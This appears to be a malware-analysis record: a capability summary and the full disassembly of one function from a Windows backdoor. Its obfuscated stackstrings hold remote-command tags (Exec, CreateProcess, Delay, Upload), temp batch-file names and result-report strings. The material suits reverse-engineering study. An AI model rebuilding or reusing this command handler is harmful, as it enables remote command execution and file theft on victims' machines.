Function at 0x409aa0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x411c1c
mov eax, dword fs:[0]
push eax
mov eax, 0x109c
call fcn.0040fc20
mov eax, dword [0x41607c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp eax, ebx
je 0x40abc3
cmp dword [ebp + 0x1c], 1
jb 0x40abc3
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x417cc0], eax
xor eax, eax
mov dword [ebp - 0xf68], 7
mov dword [ebp - 0xf6c], ebx
mov word [ebp - 0xf7c], ax
mov byte [ebp - 4], 1
mov ecx, dword [0x417ccc]
mov word [ebp - 0xd4], ax
lea eax, [ebp - 0x38]
push eax
xor edx, edx
push ecx
mov dword [ebp - 0xe4], 0x2d0078
mov dword [ebp - 0xe0], 0x650044
mov dword [ebp - 0xdc], 0x61006c
mov dword [ebp - 0xd8], 0x280079
mov dword [ebp - 0x154], 0x2d0078
mov dword [ebp - 0x150], 0x720043
mov dword [ebp - 0x14c], 0x610065
mov dword [ebp - 0x148], 0x650074
mov dword [ebp - 0x144], 0x720050
mov dword [ebp - 0x140], 0x63006f
mov dword [ebp - 0x13c], 0x730065
mov dword [ebp - 0x138], 0x280073
mov word [ebp - 0x134], dx
mov dword [ebp - 0x98], 0x53005b
mov dword [ebp - 0x94], 0x630075
mov dword [ebp - 0x90], 0x650063
mov dword [ebp - 0x8c], 0x730073
mov dword [ebp - 0x88], 0xd005d
mov dword [ebp - 0x84], 0xa
mov dword [ebp - 0x80], 0x46005b
mov dword [ebp - 0x7c], 0x690061
mov dword [ebp - 0x78], 0x65006c
mov dword [ebp - 0x74], 0x210064
mov dword [ebp - 0x70], 0xd005d
mov dword [ebp - 0x6c], 0xa
mov dword [ebp - 0x38], 0x7274736c
mov dword [ebp - 0x34], 0x69706d63
mov word [ebp - 0x30], 0x57
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp + 0x20], 8
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc0], 0x2d0078
mov dword [ebp - 0xbc], 0x780045
mov dword [ebp - 0xb8], 0x630065
mov dword [ebp - 0xb4], 0x28
mov dword [ebp - 0xd0], 0x2d0078
mov dword [ebp - 0xcc], 0x23003c
mov dword [ebp - 0xc8], 0x230055
mov dword [ebp - 0xc4], 0x3e
mov dword [ebp - 0xb0], 0x23003c
mov dword [ebp - 0xac], 0x230045
mov dword [ebp - 0xa8], 0x3e
mov dword [ebp - 0x68], 0x2d0078
mov dword [ebp - 0x64], 0x23003c
mov dword [ebp - 0x60], 0x230042
mov dword [ebp - 0x5c], 0x3e
mov dword [ebp - 0xa4], 0x23003c
mov dword [ebp - 0xa0], 0x230045
mov dword [ebp - 0x9c], 0x3e
mov dword [ebp - 0x10a0], ebx
mov dword [ebp - 0x109c], ebx
jae 0x409ce7
lea eax, [ebp + 0xc]
lea esi, [ebp - 0x68]
cmp eax, ebx
je 0x409ff0
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov edx, esi
push edx
push eax
call edi
mov dword [ebp - 0x10a0], eax
cmp eax, ebx
je 0x409ff0
cmp word [ebp - 0x68], bx
je 0x409d23
add esi, 2
add eax, 2
cmp word [esi], bx
jne 0x409d12
mov dword [ebp - 0x10a0], eax
lea ecx, [ebp - 0xa4]
push ecx
push eax
call edi
mov edi, eax
mov dword [ebp - 0x109c], edi
cmp edi, ebx
je 0x409ff0
xor eax, eax
mov word [ebp - 0x3c], ax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x42005b
mov dword [ebp - 0x1c], 0x740061
mov dword [ebp - 0x18], 0xd005d
mov dword [ebp - 0x14], 0xa
mov dword [ebp - 0x58], 0x730025
mov dword [ebp - 0x54], 0x650074
mov dword [ebp - 0x50], 0x62006d
mov dword [ebp - 0x4c], 0x740061
mov dword [ebp - 0x48], 0x640025
mov dword [ebp - 0x44], 0x62002e
mov dword [ebp - 0x40], 0x740061
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x409d96
sub eax, ecx
sar eax, 1
push eax
lea eax, [ebp - 0x20]
lea esi, [ebp - 0xf7c]
call fcn.00401e90
sub edi, dword [ebp - 0x10a0]
xor ecx, ecx
sar edi, 1
mov esi, edi
lea eax, [esi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040b12f
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x10a0]
add esi, esi
push esi
push eax
push edi
mov dword [ebp - 0x109c], edi
call fcn.0040ecf0
xor ecx, ecx
mov word [esi + edi], cx
add esp, 0xc
mov dword [ebp - 0xfa0], 0xf
mov dword [ebp - 0xfa4], ebx
mov byte [ebp - 0xfb4], bl
lea edx, [ebp - 0xfb4]
push edx
sub esp, 0x1c
mov byte [ebp - 4], 2
mov eax, edi
mov ecx, esp
mov dword [ebp - 0x10a4], esp
call fcn.00401a10
call fcn.00405210
add esp, 0x20
cmp al, bl
je 0x409fc2
push 0x206
lea ecx, [ebp - 0x35e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x360], ax
call fcn.0040f530
add esp, 0xc
lea edx, [ebp - 0x360]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x206
lea ecx, [ebp - 0x75e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x760], ax
call fcn.0040f530
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x760]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea edx, [ebp - 0x760]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x409f86
cmp dword [ebp - 0xfa0], 0x10
mov eax, dword [ebp - 0xfb4]
mov dword [ebp - 0x10a4], ebx
jae 0x409ef0
lea eax, [ebp - 0xfb4]
mov edx, dword [ebp - 0xfa4]
push ebx
lea ecx, [ebp - 0x10a4]
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x1c
lea eax, [ebp - 0x760]
mov ecx, esp
mov dword [ebp - 0x10a0], esp
call fcn.00401a10
lea ecx, [ebp - 0xfec]
call fcn.00401580
add esp, 0x1c
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
lea ebx, [ebp - 0xfec]
mov byte [ebp - 4], 3
call fcn.00404b10
add esp, 8
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 4
call fcn.00401b60
lea esi, [ebp - 0xf98]
call fcn.00401a50
lea edx, [ebp - 0x760]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, ebx
call fcn.00401a50
xor ebx, ebx
jmp 0x409fbc
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0xf7c]
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 5
call fcn.00401b60
lea esi, [ebp - 0xf98]
call fcn.00401a50
mov edi, dword [ebp - 0x109c]
push edi
call fcn.0040b621
add esp, 4
mov byte [ebp - 4], 1
cmp dword [ebp - 0xfa0], 0x10
jb 0x40a9dc
mov eax, dword [ebp - 0xfb4]
push eax
call fcn.0040b62c
add esp, 4
jmp 0x40a9dc
cmp dword [ebp + 0x20], 8
mov eax, dword [ebp + 0xc]
jae 0x409ffc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x109c]
push ecx
lea edx, [ebp - 0xb0]
push edx
lea esi, [ebp - 0x10a0]
lea ecx, [ebp - 0xd0]
call fcn.00404ce0
add esp, 8
test al, al
je 0x40a404
xor ecx, ecx
xor eax, eax
mov word [ebp - 0xf0], ax
lea eax, [ebp - 0x28]
mov word [ebp - 0x14], cx
mov word [ebp - 0x3c], cx
mov dword [ebp - 0x28], 0x55005b
mov dword [ebp - 0x24], 0x6c0070
mov dword [ebp - 0x20], 0x61006f
mov dword [ebp - 0x1c], 0x5d0064
mov dword [ebp - 0x18], 0xa000d
mov dword [ebp - 0x58], 0x730025
mov dword [ebp - 0x54], 0x650063
mov dword [ebp - 0x50], 0x650076
mov dword [ebp - 0x4c], 0x74006e
mov dword [ebp - 0x48], 0x640025
mov dword [ebp - 0x44], 0x6c002e
mov dword [ebp - 0x40], 0x67006f
mov dword [ebp - 0x128], 0x53005b
mov dword [ebp - 0x124], 0x630075
mov dword [ebp - 0x120], 0x650063
mov dword [ebp - 0x11c], 0x730073
mov dword [ebp - 0x118], 0x20003a
mov dword [ebp - 0x114], 0x640025
mov dword [ebp - 0x110], 0x420020
mov dword [ebp - 0x10c], 0x740079
mov dword [ebp - 0x108], 0x730065
mov dword [ebp - 0x104], 0xa000d
mov dword [ebp - 0x100], 0x6f0054
mov dword [ebp - 0xfc], 0x25003a
mov dword [ebp - 0xf8], 0x5d0073
mov dword [ebp - 0xf4], 0xa000d
lea ecx, [eax + 2]
nop
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x40a120
sub eax, ecx
sar eax, 1
push eax
lea eax, [ebp - 0x28]
lea esi, [ebp - 0xf7c]
call fcn.00401e90
mov esi, dword [ebp - 0x109c]
sub esi, dword [ebp - 0x10a0]
xor ecx, ecx
sar esi, 1
lea eax, [esi + 1]
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040b12f
add esp, 4
mov edi, eax
mov eax, dword [ebp - 0x10a0]
add esi, esi
push esi
push eax
push edi
call fcn.0040ecf0
xor ecx, ecx
mov word [esi + edi], cx
add esp, 0xc
mov dword [ebp - 0x109c], ebx
mov dword [ebp - 0xfa0], 0xf
mov dword [ebp - 0xfa4], ebx
mov byte [ebp - 0xfb4], bl
lea edx, [ebp - 0xfb4]
push edx
sub esp, 0x1c
mov byte [ebp - 4], 6
mov eax, edi
mov ecx, esp
mov dword [ebp - 0x10a4], esp
call fcn.00401a10
call fcn.00405210
push edi
call fcn.0040b621
mov ecx, dword [ebp - 0xfb4]
mov esi, 0x10
add esp, 0x24
cmp dword [ebp - 0xfa0], esi
jae 0x40a1e3
lea ecx, [ebp - 0xfb4]
lea eax, [ebp - 0x109c]
push eax
xor eax, eax
call fcn.00401180
add esp, 4
cmp eax, 1
jne 0x40a3a6
mov eax, dword [ebp - 0x109c]
cmp eax, ebx
jbe 0x40a3a6
push eax
call fcn.0040b12f
mov ecx, dword [ebp - 0xfb4]
add esp, 4
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0xfa0], esi
jae 0x40a22e
lea ecx, [ebp - 0xfb4]
lea edx, [ebp - 0x109c]
push edx
call fcn.00401180
add esp, 4
push 0x206
lea ecx, [ebp - 0x35e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x360], ax
call fcn.0040f530
add esp, 0xc
lea edx, [ebp - 0x360]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x206
lea ecx, [ebp - 0x75e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x760], ax
call fcn.0040f530
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
lea edx, [ebp - 0x360]
push edx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x760]
push ecx
call edi
add esp, 0x10
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea edx, [ebp - 0x760]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a35f
mov ecx, dword [ebp - 0x109c]
mov edx, dword [ebp - 0x10a4]
push ebx
lea eax, [ebp - 0x10a0]
push eax
push ecx
push edx
push esi
mov dword [ebp - 0x10a0], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7fe
lea ecx, [ebp - 0xf5e]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0xf60], ax
call fcn.0040f530
mov eax, dword [ebp - 0x10a0]
add esp, 0xc
lea edx, [ebp - 0x760]
push edx
push eax
lea ecx, [ebp - 0x128]
push ecx
lea edx, [ebp - 0xf60]
push edx
call edi
lea eax, [ebp - 0xf60]
push eax
lea ecx, [ebp - 0xf7c]
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0x1c
mov byte [ebp - 4], 7
jmp 0x40a37d
lea eax, [ebp - 0x80]
push eax
lea ecx, [ebp - 0xf7c]
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 8
mov edi, eax
lea esi, [ebp - 0xf7c]
call fcn.00401b60
lea esi, [ebp - 0xf98]
call fcn.00401a50
mov eax, dword [ebp - 0x10a4]
push eax
call fcn.0040b621
add esp, 4
jmp 0x40a3df
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0xf7c]
push edx
lea eax, [ebp - 0xf98]
push eax
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 9
call fcn.00401b60
lea esi, [ebp - 0xf98]
call fcn.00401a50
mov byte [ebp - 4], 1
cmp dword [ebp - 0xfa0], 0x10
jb 0x40a9dc
mov ecx, dword [ebp - 0xfb4]
push ecx
call fcn.0040b62c
add esp, 4
jmp 0x40a9dc
mov eax, dword [ebp + 0xc]
mov edi, 8
cmp dword [ebp + 0x20], edi
jae 0x40a414
lea eax, [ebp + 0xc]
lea edx, [ebp - 0x109c]
push edx
push 0x414400
lea esi, [ebp - 0x10a0]
lea ecx, [ebp - 0xc0]
call fcn.00404ce0
add esp, 8
test al, al
je 0x40a5a6
push ebx
lea eax, [ebp + 0xc]
push eax
or eax, 0xffffffff
lea ecx, [ebp - 0xf7c]
call fcn.00401bd0
push 0x414130
lea ecx, [ebp - 0xf7c]
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0xa
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x3fe
lea ecx, [ebp - 0x556]
xor eax, eax
push ebx
push ecx
mov word [ebp - 0x558], ax
call fcn.0040f530
mov eax, dword [ebp - 0x109c]
mov ecx, dword [ebp - 0x10a0]
sub eax, ecx
sar eax, 1
mov esi, eax
inc eax
add esp, 0xc
cmp eax, 0x200
jbe 0x40a4c7
mov esi, 0x1ff
push esi
push ecx
lea edx, [ebp - 0x558]
push edx
call fcn.0040b72f
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x558]
push ecx
lea edx, [ebp - 0xf7c]
mov word [ebp + esi*2 - 0x558], ax
push edx
lea eax, [ebp - 0xf98]
push eax
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0xb
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x414130
lea ecx, [ebp - 0xf7c]
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0xc
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
lea ecx, [ebp - 0x558]
call fcn.00404d40
lea ecx, [ebp - 0xf7c]
lea edx, [ebp - 0xf98]
test eax, eax
je 0x40a58f
lea eax, [ebp - 0x98]
push eax
push ecx
push edx
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 0xd
jmp 0x40a915
lea eax, [ebp - 0x80]
push eax
push ecx
push edx
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 0xe
jmp 0x40a915
mov eax, dword [ebp + 0xc]
cmp dword [ebp + 0x20], edi
jae 0x40a5b1
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x109c]
push ecx
push 0x414400
lea esi, [ebp - 0x10a0]
lea ecx, [ebp - 0x154]
call fcn.00404ce0
add esp, 8
test al, al
je 0x40a7c0
push ebx
lea edx, [ebp + 0xc]
push edx
or eax, 0xffffffff
lea ecx, [ebp - 0xf7c]
call fcn.00401bd0
push 0x414130
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0xf
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x3fe
lea eax, [ebp - 0x556]
xor edx, edx
push ebx
push eax
mov word [ebp - 0x558], dx
call fcn.0040f530
mov eax, dword [ebp - 0x109c]
mov ecx, dword [ebp - 0x10a0]
sub eax, ecx
sar eax, 1
mov esi, eax
inc eax
add esp, 0xc
cmp eax, 0x200
jbe 0x40a664
mov esi, 0x1ff
push esi
push ecx
lea ecx, [ebp - 0x558]
push ecx
call fcn.0040b72f
add esp, 0xc
xor edx, edx
lea eax, [ebp - 0x558]
push eax
lea ecx, [ebp - 0xf7c]
mov word [ebp + esi*2 - 0x558], dx
push ecx
lea edx, [ebp - 0xf98]
push edx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0x10
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x414130
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0x11
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x44
lea edx, [ebp - 0x130]
push ebx
push edx
call fcn.0040f530
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x130], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x130]
push eax
push ebx
push ebx
push 0x10
push ebx
push ebx
xor ecx, ecx
push ebx
mov word [ebp - 0x100], cx
push ebx
lea ecx, [ebp - 0x558]
push ecx
mov dword [ebp - 0x104], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, ebx
je 0x40a79d
mov edx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x20]
push eax
call esi
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0xf7c]
push edx
lea eax, [ebp - 0xf98]
push eax
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 0x12
jmp 0x40a915
lea ecx, [ebp - 0x80]
push ecx
lea edx, [ebp - 0xf7c]
push edx
lea eax, [ebp - 0xf98]
push eax
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 0x13
jmp 0x40a915
mov eax, dword [ebp + 0xc]
cmp dword [ebp + 0x20], edi
jae 0x40a7cb
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x109c]
push ecx
push 0x414400
lea esi, [ebp - 0x10a0]
lea ecx, [ebp - 0xe4]
call fcn.00404ce0
add esp, 8
push ebx
lea edx, [ebp + 0xc]
lea ecx, [ebp - 0xf7c]
push edx
test al, al
je 0x40a936
or eax, 0xffffffff
call fcn.00401bd0
push 0x414130
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0x14
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
push 0x3fe
lea eax, [ebp - 0x556]
xor edx, edx
push ebx
push eax
mov word [ebp - 0x558], dx
call fcn.0040f530
mov eax, dword [ebp - 0x109c]
mov ecx, dword [ebp - 0x10a0]
sub eax, ecx
sar eax, 1
mov esi, eax
inc eax
add esp, 0xc
cmp eax, 0x200
jbe 0x40a87e
mov esi, 0x1ff
push esi
push ecx
lea ecx, [ebp - 0x558]
push ecx
call fcn.0040b72f
xor edx, edx
add esp, 0xc
lea eax, [ebp - 0x558]
mov word [ebp + esi*2 - 0x558], dx
call fcn.00405430
cmp eax, 1
jle 0x40a8c6
imul eax, eax, 0x3e8
push eax
mov dword [0x417cc4], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x417cc4], ebx
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
mov dword [ebp - 0x2c], 0x45005b
mov dword [ebp - 0x28], 0x64006e
mov dword [ebp - 0x24], 0x440020
mov dword [ebp - 0x20], 0x6c0065
mov dword [ebp - 0x1c], 0x790061
mov dword [ebp - 0x18], 0xd005d
mov dword [ebp - 0x14], 0xa
call fcn.00406d40
add esp, 0xc
mov byte [ebp - 4], 0x15
mov edi, eax
lea esi, [ebp - 0xf7c]
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
jmp 0x40a9dc
or eax, 0xffffffff
call fcn.00401bd0
push 0x414130
lea eax, [ebp - 0xf7c]
push eax
lea ecx, [ebp - 0xf98]
push ecx
call fcn.00406d40
add esp, 0xc
mov edi, eax
lea esi, [ebp - 0xf7c]
mov byte [ebp - 4], 0x16
call fcn.00401b60
lea esi, [ebp - 0xf98]
mov byte [ebp - 4], 1
call fcn.00401a50
sub esp, 0x1c
lea ecx, [ebp + 0xc]
mov esi, esp
mov dword [ebp - 0x10a4], esp
call fcn.004019e0
lea ecx, [ebp - 0xfec]
call fcn.00401580
add esp, 0x1c
lea edx, [ebp - 0xf98]
push edx
lea ebx, [ebp - 0xf7c]
mov byte [ebp - 4], 0x17
call fcn.0040ac00
add esp, 4
mov edi, eax
mov esi, ebx
mov byte [ebp - 4], 0x18
call fcn.00401b60
lea esi, [ebp - 0xf98]
call fcn.00401a50
lea esi, [ebp - 0xfec]
mov byte [ebp - 4], 1
call fcn.00401a50
xor ebx, ebx
cmp dword [ebp - 0xf6c], 1
jae 0x40aa2c
mov esi, 8
cmp dword [ebp - 0xf68], esi
jb 0x40aa01
mov eax, dword [ebp - 0xf7c]
push eax
call fcn.0040b62c
add esp, 4
xor ecx, ecx
mov dword [ebp - 0xf68], 7
mov dword [ebp - 0xf6c], ebx
mov word [ebp - 0xf7c], cx
cmp dword [ebp + 0x20], esi
jb 0x40abd5
mov edx, dword [ebp + 0xc]
push edx
jmp 0x40abcd
mov esi, 7
xor eax, eax
mov dword [ebp - 0xfbc], esi
mov dword [ebp - 0xfc0], ebx
mov word [ebp - 0xfd0], ax
push 1
sub esp, 0x1c
mov byte [ebp - 4], 0x19
mov ecx, esp
mov dword [ebp - 0x10a4], esp
push ebx
xor edx, edx
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push 0x417c80
or eax, 0xffffffff
mov word [ecx], dx
call fcn.00401bd0
sub esp, 0x1c
mov ecx, esp
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x109c], esp
xor eax, eax
mov dword [ecx + 0x14], esi
mov dword [ecx + 0x10], ebx
push ebx
lea edx, [ebp - 0xf7c]
mov word [ecx], ax
push edx
or eax, 0xffffffff
call fcn.00401bd0
lea ecx, [ebp - 0xfec]
mov byte [ebp - 4], 0x19
call fcn.00408150
add esp, 0x3c
mov edi, eax
lea esi, [ebp - 0xfd0]
mov byte [ebp - 4], 0x1b
call fcn.00401b60
cmp dword [ebp - 0xfd8], 8
jb 0x40aad5
mov eax, dword [ebp - 0xfec]
push eax
call fcn.0040b62c
add esp, 4
lea eax, [ebp - 0x1098]
call fcn.00409530
push ebx
push 0x417c9c
or eax, 0xffffffff
lea ecx, [ebp - 0x1098]
mov byte [ebp - 4], 0x1c
call fcn.00401bd0
push 1
mov eax, 0x4143fc
lea esi, [ebp - 0x107c]
call fcn.00401e90
push ebx
lea ecx, [ebp - 0xfd0]
push ecx
or eax, 0xffffffff
lea ecx, [ebp - 0x1060]
call fcn.00401bd0
push ebx
lea edx, [ebp - 0x1098]
push edx
mov ecx, 0x417be8
call fcn.00403b70
xor eax, eax
cmp eax, dword [ebp - 0xffc]
lea esi, [ebp - 0x1098]
sbb edi, edi
neg edi
call fcn.00409590
mov esi, 8
cmp dword [ebp - 0xfbc], esi
jb 0x40ab65
mov ecx, dword [ebp - 0xfd0]
push ecx
call fcn.0040b62c
add esp, 4
xor edx, edx
mov dword [ebp - 0xfbc], 7
mov dword [ebp - 0xfc0], ebx
mov word [ebp - 0xfd0], dx
cmp dword [ebp - 0xf68], esi
jb 0x40ab95
mov eax, dword [ebp - 0xf7c]
push eax
call fcn.0040b62c
add esp, 4
xor ecx, ecx
mov dword [ebp - 0xf68], 7
mov dword [ebp - 0xf6c], ebx
mov word [ebp - 0xf7c], cx
cmp dword [ebp + 0x20], esi
jb 0x40abbf
mov edx, dword [ebp + 0xc]
push edx
call fcn.0040b62c
add esp, 4
mov eax, edi
jmp 0x40abd7
cmp dword [ebp + 0x20], 8
jb 0x40abd5
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040b62c
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b13a
mov esp, ebp
pop ebp
ret